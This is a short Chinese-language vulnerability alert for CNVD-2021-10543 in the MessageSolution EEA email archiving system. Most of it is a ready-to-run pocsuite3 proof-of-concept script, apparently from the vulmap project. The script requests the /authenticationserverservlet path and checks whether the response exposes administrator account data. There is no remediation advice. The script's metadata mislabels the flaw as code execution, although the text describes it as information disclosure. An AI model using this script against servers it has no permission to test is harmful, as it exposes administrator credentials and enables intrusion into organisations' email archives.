【漏洞预警】MessageSolution 企业邮件归档管理系统 EEA 存在信息泄露漏洞（CNVD-2021-10543）

http://url/authenticationserverservlet

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from urllib.parse import urlparse
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase
from pocsuite3.api import POC_CATEGORY, VUL_TYPE




class TestPOC(POCBase):
    vulID = '66'
    version = '1'
    author = 'zhzyker'
    vulDate = '2021-03-07'
    createDate = '2021-03-07'
    updateDate = '2021-03-07'
    references = [
        'https://github.com/zhzyker/vulmap']
    name = 'MessageSolution EEA 账户密码泄露(CNVD-2021-10543)'
    appPowerLink = 'http://www.messagesolution.cn/'
    appName = 'MessageSolution'
    appVersion = 'all'
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.REMOTE
    desc = '''
            MessageSolution Enterprise Email Archiving Management System EEA Has Information Disclosure Vulnerability
            
    '''
    samples = ['127.0.0.1']


    def _verify(self):
        result = {}
        pr = urlparse(self.url)
        if pr.port:
            ports = [pr.port]
        else:
            ports = [443]
        for port in ports:
            target = '{}://{}:{}'.format(pr.scheme, pr.hostname, port)
            if target:
                try:
                    get_url = target + "/authenticationserverservlet/"
                    self.ua = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
                    self.timeout = 10
                    headers = {
                            "User-agent": self.ua,
                            "Connection": "close"
                    }
                    res = req.get(get_url, headers=headers, timeout=self.timeout, verify=False)
                    if res.status_code == 200 and "administrator" in res.text:
                        result['VerifyInfo'] = {}
                        result['VerifyInfo']['url'] = get_url
                        break
                except Exception as e:
                    pass
            
        return self.parse_attack(result)


    def _attack(self):
        return self._verify()


    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail("not vulnerability")
        return output




register_poc(TestPOC)